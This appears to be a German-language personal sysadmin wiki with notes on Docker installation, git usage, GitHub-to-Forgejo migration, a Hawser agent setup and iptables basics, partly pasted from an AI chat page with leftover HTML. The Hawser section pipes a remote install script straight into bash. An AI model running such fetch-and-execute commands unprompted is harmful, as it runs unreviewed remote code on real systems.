# HowTo

# Docker

# Docker auf Ubuntu installieren

Der Artikel Beschreibt die Installation von Docker auf der Ubuntu-VM unter Berücksichtigung der `systemd`  
Proxykonfiguration.

```bash
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do apt remove $pkg; done

```

###  GPG-Key der Docker Pakete installieren

Erstellen Sie eine Schritt-für-Schritt-Anleitung:

1. `apt update`
2. `apt install ca-certificates curl gnupg`
3. `install -m 0755 -d /etc/apt/keyrings`
4. `curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg`
5. `chmod a+r /etc/apt/keyrings/docker.gpg`

###  Das Repository zu den APT Ressourcen hinzufügen

```bash
echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  tee /etc/apt/sources.list.d/docker.list > /dev/null
apt update

```

###  Aktuelle Docker-Version installieren

```bash
apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

```

### Docker testen

```bash
docker run hello-world

```

Dieser Test schlägt u.a. dann fehl, wenn das System eine Proxy verlangt und die `systemd` Proxykonfiguration noch fehlt.

### `systemd` Proxykonfiguration einrichten

1. `mkdir -p /etc/systemd/system/docker.service.d`
2. Datei `/etc/systemd/system/docker.service.d/http-proxy.conf` mit folgendem Inhalt anlegen:

```bash
[Service]
Environment="HTTPS_PROXY=<Proxy-IP:Port>"
Environment="HTTP_PROXY=<Proxy-IP:Port>"

```

3. `reboot` !

# Docker Resourcen begrenzen

Damit ein Container nicht alle System-Ressourcen für sich beanspruchen kann...

Was z.B. Nextcloud gelegentlich tut :-)

```yaml
services:
  nextcloud:
    image: nextcloud:latest
    # ... deine anderen Einstellungen ...
    deploy:
      resources:
        limits:
          cpus: '2.0'      # Maximal 2 CPU-Kerne nutzen
          memory: 2G       # Maximal 2 Gigabyte RAM nutzen

  db:
    image: mariadb:10.11
    # ... deine anderen Einstellungen ...
    deploy:
      resources:
        limits:
          cpus: '1.5'
          memory: 1G
```

# GIT

# Remove unwanted files from a git repo AFTER adding a .gitignore.

```bash

# See the unwanted files:
git ls-files -ci --exclude-standard

# Remove the unwanted files: 
git ls-files -ci --exclude-standard -z | xargs -0 git rm --cached

# Commit changes
git commit -am "Removed unwanted files marked in .gitignore"

# Push
git push origin master # or whatever branch you're on
```

[source](https://gist.github.com/jeffjohnson9046/80bc182db7ae2f4a6150 "where I found this")

# origin

Wofür steht eigentlich "origin"?

Wenn du ein Repository mit `git clone <URL>` von GitHub, GitLab oder Bitbucket auf deinen Rechner holst, passiert im Hintergrund automatisch Folgendes:

1. Git lädt den Code herunter.
2. Git merkt sich die URL, von der der Code kam.
3. Weil sich niemand lange URLs wie `https://github.com/user/projekt-name.git` merken oder sie ständig eintippen will, gibt Git dieser URL den Standard-Spitznamen **`origin`** (engl. für *Ursprung* oder *Herkunft*).

#### 1. Beim Anlegen eines Remotes (`git remote add...`)

Wenn du ein brandneues Projekt lokal auf deinem Rechner startest (per `git init`) und es danach auf GitHub hochladen willst, existiert diese automatische Verknüpfung noch nicht. Du musst sie selbst anlegen:

```bash
git remote add origin https://github.com/deinname/dein-projekt.git
```

Dieser Befehl sagt Git: *„Hey, merk dir bitte diese lange GitHub-URL unter dem kurzen Namen `origin`.“* *(Hinweis: Du könntest das Ding hier auch `banane` oder `server` nennen. Aber `origin` hat sich als weltweiter Standard etabliert, so wie `main` oder `master` für den Haupt-Branch).*

#### 2. Beim Pushen eines neuen Branches (`git push -u origin...`)

Wenn du einen neuen lokalen Branch namens `feature-xyz` erstellt hast und ihn das erste Mal hochladen willst, sagst du:

```bash
git push -u origin feature-xyz
```

Das bedeutet übersetzt: *„Git, pushe meinen lokalen Branch `feature-xyz` zu dem Server, den ich vorhin **`origin`** genannt habe, und richte dort einen gleichnamigen Branch ein.“* (Das `-u` sorgt nur dafür, dass sich Git diese Verbindung für die Zukunft merkt, sodass danach ein einfaches `git push` reicht).

# Umzug eines Repositories

von GitHub zu Forgejo via Migration

Der Umzug eines Repositories von GitHub zu Forgejo lässt sich schnell durchführen, da Forgejo eine eingebaute **Migration-Funktion** bietet. Dadurch werden nicht nur der Code und die Commits, sondern optional auch Issues, Pull Requests, Releases und Wikis automatisch übernommen.

Hier sind die Schritte für die Migration:

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-1.github-personal-ac" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahcKEwi63K-v_YaWAxUAAAAAHQAAAAAQYw" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**1.GitHub Personal Access Token erstellen:** Erforderlich für private Repositories oder Meta-Daten wie PRs und Issues.</span>1. Gehe auf GitHub zu **Settings** -&gt; **Developer Settings** -&gt; **Personal Access Tokens** -&gt; **Tokens (classic)**.
2. Erstelle einen neuen Token (*Generate new token*).
3. Gib ihm mindestens die Berechtigung `repo` (für Zugriff auf Repositories) und erstelle den Token. Kopiere ihn direkt ab.

</div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**2.Migration in Forgejo starten:**</span>1. Melde dich bei deiner Forgejo-Instanz an.
2. Klicke oben rechts auf das **+**-Symbol und wähle **Neue Migration** (oder *New Migration*).
3. Wähle **GitHub** als Quell-Plattform aus.

</div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**3.Zugangsdaten und Optionen konfigurieren:**</span>1. Trage dein GitHub Personal Access Token im Feld **Access Token** ein.
2. Gib die **Clone URL** des GitHub-Repositories an (z. B. `[https://github.com/user/repo.git](https://github.com/user/repo.git)`).
3. Wähle den neuen Repository-Namen und den Eigentümer (User oder Organisation) in Forgejo aus.
4. Setze Haken bei den Elementen, die du migrieren möchtest:
    
    
    - **Code &amp; Commits**
    - **Issues &amp; Issue-Kommentare**
    - **Pull Requests**
    - **Releases &amp; Attachments**
    - **Wiki**
5. Klicke auf **Migration starten**.

</div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**4.Lokales Git Remote aktualisieren:**Lokal auf deinem Computer ausführen.</span></div></div></div></div></div></div>Wenn du das Repository bereits lokal gekontrollierst oder daran arbeitest, passe die Remote-URL an deine Forgejo-Instanz an:

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahcKEwi63K-v_YaWAxUAAAAAHQAAAAAQYw" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div><div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-31 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="1" id="bkmrk-bash" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3525046f56ee2608","c_cc161d4411f4ff06",null,"rc_ab74377076fc3f29",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-31"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-31"><div _ngcontent-ng-c2273258466="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2273258466-31 ng-star-inserted"><span class="ng-tns-c2273258466-31">Bash</span><div _ngcontent-ng-c2273258466="" class="buttons ng-tns-c2273258466-31 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```bash
# Aktuelle URL prüfen
git remote -v

# Remote auf Forgejo umstellen
git remote set-url origin https://deine-forgejo-instanz.de/user/repo.git

# Änderungen zur Bestätigung pushen/fetchen
git fetch origin

```

<div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-31 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="1" id="bkmrk--1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3525046f56ee2608","c_cc161d4411f4ff06",null,"rc_ab74377076fc3f29",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-31"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-31"></div></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--2" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahcKEwi63K-v_YaWAxUAAAAAHQAAAAAQYw" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div>#### Was du beachten solltest

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-github-actions-vs.-f" inline-copy-host="">- **GitHub Actions vs. Forgejo Actions:** CI/CD-Pipelines (`.github/workflows/`) werden als Dateien mitkopiert, funktionieren auf Forgejo aber nur, wenn dort **Forgejo Actions** (basierend auf *act\_runner*) aktiviert ist. Eventuell musst du Syntax-Details anpassen.
- **Webhooks &amp; Integrations:** Externe Anbindungen (Discord-Bots, Deployment-Hooks etc.) werden nicht automatisch übertragen und müssen in Forgejo unter *Repository-Einstellungen -&gt; Webhooks* neu angelegt werden.

</div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--3" inline-copy-host=""><div class="attachment-container unknown"></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--4" inline-copy-host=""></div>

# Umzug eines Repositories

via git push --mirror

Der manuelle Umzug per `--mirror` ist ideal, wenn du ein reines Git-Repository inklusive aller **Branches, Tags und der kompletten Commit-Historie** übertragen möchtest – ganz ohne GitHub-Tokens oder Metadaten wie PRs und Issues.

Hier ist der genaue Ablauf über das Terminal:

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-1.leeres-repository-" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**1.Leeres Repository in Forgejo erstellen:**Auf der Ziel-Plattform.</span>1. Melde dich bei deiner Forgejo-Instanz an.
2. Klicke auf das **+**-Symbol oben rechts und wähle **Neues Repository**.
3. Gib den Repository-Namen ein.
4. **Wichtig:** Initialisiere das Repository **nicht** (keine README, keine `.gitignore` und keine Lizenz anlegen lassen). Es muss vollkommen leer sein.
5. Kopiere die Git-URL des neuen Repositories (z. B. `[https://forgejo.dein-server.de/user/repo.git](https://forgejo.dein-server.de/user/repo.git)` oder per SSH `git@forgejo.dein-server.de:user/repo.git`).

</div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**2.Bare-Clone des GitHub-Repositories erstellen:**Lokal auf deinem Computer.</span></div></div></div></div></div></div>Erstelle einen temporären "Bare-Clone" des GitHub-Repositories. Dieser enthält nur die Git-Datenbank ohne Arbeitsverzeichnis:

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div><div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-88 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="1" id="bkmrk-bash" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-88"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-88"><div _ngcontent-ng-c2273258466="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2273258466-88 ng-star-inserted"><span class="ng-tns-c2273258466-88">Bash</span><div _ngcontent-ng-c2273258466="" class="buttons ng-tns-c2273258466-88 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
git clone --bare https://github.com/nutzername/repository.git mirror-temp.git
cd mirror-temp.git

```

<div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-88 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="1" id="bkmrk--1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-88"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-88"></div></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-3.repository-zu-forg" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**3.Repository zu Forgejo spiegeln:**</span></div></div></div></div></div></div>Pushe den gesamten Stand (alle Referenzen, Branches und Tags) per Mirror-Option zu Forgejo:

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--2" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div><div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-89 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="4" id="bkmrk-bash-1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-89"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-89"><div _ngcontent-ng-c2273258466="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2273258466-89 ng-star-inserted"><span class="ng-tns-c2273258466-89">Bash</span><div _ngcontent-ng-c2273258466="" class="buttons ng-tns-c2273258466-89 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
git push --mirror https://forgejo.dein-server.de/user/repo.git

```

<div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-89 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="4" id="bkmrk--3" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-89"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-89"></div></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--4" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div>*(Wenn du SSH nutzt, verwende die SSH-URL: `git push --mirror git@forgejo.dein-server.de:user/repo.git`)*

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-4.aufr%C3%A4umen-und-remo" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"><span class="only-show-to-message-actions" data-test-id="sequence-export-header">**4.Aufräumen und Remote-URL aktualisieren:**Saubermachen und bestehende Arbeitskopie anpassen.</span>1. Lösche den temporären Bare-Ordner wieder:

</div></div></div></div></div></div><div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-90 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="7" id="bkmrk-bash-2" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-90"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-90"><div _ngcontent-ng-c2273258466="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2273258466-90 ng-star-inserted"><span class="ng-tns-c2273258466-90">Bash</span><div _ngcontent-ng-c2273258466="" class="buttons ng-tns-c2273258466-90 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
cd ..
rm -rf mirror-temp.git

```

<div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-90 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="7" id="bkmrk--5" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-90"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-90"></div></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-wenn-du-bereits-eine" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l">2. Wenn du bereits einen normalen Arbeitsordner des Repositories auf deinem Rechner hast, wechsle hinein und passe die Remote-URL an:

</div></div></div></div></div></div><div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-91 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="10" id="bkmrk-bash-3" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-91"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-91"><div _ngcontent-ng-c2273258466="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2273258466-91 ng-star-inserted"><span class="ng-tns-c2273258466-91">Bash</span><div _ngcontent-ng-c2273258466="" class="buttons ng-tns-c2273258466-91 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
cd dein-projekt-ordner
git remote set-url origin https://forgejo.dein-server.de/user/repo.git
git fetch origin

```

<div _ngcontent-ng-c2273258466="" class="code-block ng-tns-c2273258466-91 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="10" id="bkmrk--6" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_3acbd7899f951fcc","c_cc161d4411f4ff06",null,"rc_13dd601b739db358",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c2273258466="" class="formatted-code-block-internal-container ng-tns-c2273258466-91"><div _ngcontent-ng-c2273258466="" class="animated-opacity ng-tns-c2273258466-91"></div></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--7" inline-copy-host=""><div class="attachment-container unknown"><div class="sequence-container" data-hveid="0" data-ved="0CAAQse0SahgKEwi63K-v_YaWAxUAAAAAHQAAAAAQlAE" decode-data-ved="1" jslog="308913;track:impression,attention"><div class="sequence-event ng-star-inserted"><div class="sequence-event-content"><div class="sequence-event-description gds-body-l"></div></div></div></div></div></div>### Was macht `--mirror` anders als ein normaler Push?

<div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk-git-push---all-%C3%BCbert" inline-copy-host="">- **`git push --all`** überträgt nur alle lokalen Branches.
- **`git push --mirror`** spiegelt den *exakten* Zustand aller Referenzen: Lokale Branches, Remote-Tracking-Branches, Tags sowie Notizen (`refs/notes/`). Es überschreibt das Ziel-Repository komplett, damit es exakt dem Quell-Repository entspricht.

</div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--8" inline-copy-host=""><div class="attachment-container unknown"></div></div><div _ngcontent-ng-c3547852805="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel enable-luminous-fast-follows enable-updated-hr-color md-content" dir="ltr" id="bkmrk--9" inline-copy-host=""></div>

# Installs

# Hawser | a dockhand agent (engl.)

Connect your dockhand...

#### Install:

```bash
curl -fsSL https://raw.githubusercontent.com/Finsys/hawser/main/scripts/install.sh | bash
```

Token: Use at least 24 characters. Tokens are hashed with Argon2id on the Dockhand side, so length and randomness matter more than character set.

```bash
openssl rand -hex 32
```

Self signed certificate:

```bash
cd /etc/hawser

openssl genrsa -out server.key 2048

openssl req -new -key server.key -out cert.csr

openssl x509 -req -days 3650 -in cert.csr -signkey server.key -out server.crt
```

##### /etc/hawser/config

```bash
# Hawser Configuration
# See https://github.com/Finsys/hawser for documentation

# Docker socket path
DOCKER_SOCKET=/var/run/docker.sock

#################### Standard Mode (comment out for Edge mode) ####################
PORT=2376

# TLS configuration (optional, Standard mode only)
TLS_CERT=/etc/hawser/server.crt
TLS_KEY=/etc/hawser/server.key

# Token authentication (optional)
TOKEN=e39183a873beb[....]17feda7046a3c401

################# Edge Mode (uncomment and configure for Edge mode) ###############
# DOCKHAND_SERVER_URL=wss://your-dockhand.example.com/api/hawser/connect
# TOKEN=your-agent-token-taken-from-dockhand

# TLS configuration for self-signed Dockhand (optional, Edge mode only)
# CA_CERT=/etc/hawser/dockhand-ca.crt
# TLS_SKIP_VERIFY=false

# Agent identification (optional)
# AGENT_NAME=my-server

# Edge mode only needs port 2376 open for Docker's HEALTHCHECK directive.
# Restrict it to localhost so the host has no externally-reachable surface:
# BIND_ADDRESS=127.0.0.1
```

#### Start hawser

```bash
systemctl enable hawser.service

systemctl start hawser.service

systemctl status hawser.service

journalctl -u hawser.service -f
```

# iptables

# iptables das klassische Firewall-Werkzeug unter Linux

Auch wenn modernere Linux-Distributionen standardmäßig oft auf `nftables` setzen, bleibt das logische Prinzip von `iptables` die absolute Grundlage für das Verständnis von Netzwerk-Firewalls unter Linux.

#### Teil 1: Allgemeiner Überblick &amp; Paketfluss (Routing)

Wenn ein Netzwerkpaket (z. B. ein TCP-Paket) eine Netzwerkkarte des Linux-Servers erreicht, durchläuft es den Linux-Kernel. Die Firewall `iptables` ist direkt in diesen Kernel-Prozess (über das Framework *Netfilter*) integriert.

Hier ist der vereinfachte Weg eines Pakets durch das System:

```
              [ Paket kommt an (z.B. eth0) ]
                           │
                           ▼
                    [ PREROUTING ]
                           │
                           ▼
                 / Routing Entscheidung \
                /                        \
      (Für diesen Server?)       (Für ein anderes Gerät?)
              /                            \
             /                              \ 
            /                                \
           ▼                                  ▼
       [ INPUT ]                         [ FORWARD ]
           │                                  │
           ▼                                  │
   [ Lokaler Prozess ]                        │
    (z.B. Webserver)                          │
           │                                  │
           ▼                                  │
   [ Lokaler Prozess                          │
     sendet Paket ]                           │
           │                                  │
           ▼                                  │
      [ OUTPUT ]                              │
           │                                  │
           ▼                                  ▼
           \ Routing-Entscheidung /───────────┘
                     │
                     ▼
              [ POSTROUTING ]
                     │
                     ▼
          [ Paket verlässt Server ]

```

```text


```

#### Die drei Haupt-Szenarien für Pakete:

1. **Eingehender Traffic für den Server selbst (z. B. SSH-Anfrage auf den Server):**
    
    
    - Das Paket kommt an der Netzwerkkarte an.
    - Es durchläuft die Kette **PREROUTING**.
    - Das System entscheidet über das Routing: "Das Paket ist für mich bestimmt."
    - Das Paket durchläuft die Kette **INPUT**.
    - Der lokale Dienst (z. B. der SSH-Daemon) empfängt das Paket.
2. **Ausgehender Traffic vom Server selbst (z. B. der Server macht ein System-Update):**
    
    
    - Ein lokaler Prozess erzeugt das Paket.
    - Das Paket durchläuft die Kette **OUTPUT**.
    - Eine Routing-Entscheidung bestimmt die ausgehende Schnittstelle.
    - Das Paket durchläuft die Kette **POSTROUTING**.
    - Das Paket verlässt den Server.
